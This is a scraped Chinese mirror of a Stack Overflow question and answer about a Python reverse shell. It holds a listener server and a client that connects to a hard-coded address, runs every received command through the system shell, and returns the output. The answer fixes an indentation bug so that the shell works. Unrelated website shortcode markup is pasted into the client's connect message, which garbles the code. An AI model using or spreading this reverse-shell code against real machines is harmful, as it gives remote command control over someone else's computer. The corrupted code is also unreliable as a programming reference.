gpt4 book ai didi

python - 反向 shell 循环

转载 作者:太空宇宙 更新时间:2023-11-04 05:05:19 24 4
gpt4 key购买 nike

摆弄我发现的反向 shell

服务器

from socket import *

HOST = ''
PORT = 9999

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)

while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)

conn.close()

客户

import socket, subprocess

HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()

错误

connected
dir
connected
dir

经过多次尝试和错误后,当我运行客户端连接到服务器时,但是在输入诸如目录之类的输入时,它会循环回等待输入。一开始我假设它是一个编码/解码相关的问题,但我已经查看了一些文档,但我不确定是否有解决办法。

最佳答案

您的服务器不会向您显示您通过网络发送给客户端的命令的输出,因为您没有在服务器的主循环中对 data 执行任何操作。我认为您希望打印每个命令的结果的 print 命令缩进不正确。

缩进 print(data) 以与前面的行对齐,您的程序应该按预期工作。

关于python - 反向 shell 循环,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44661089/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com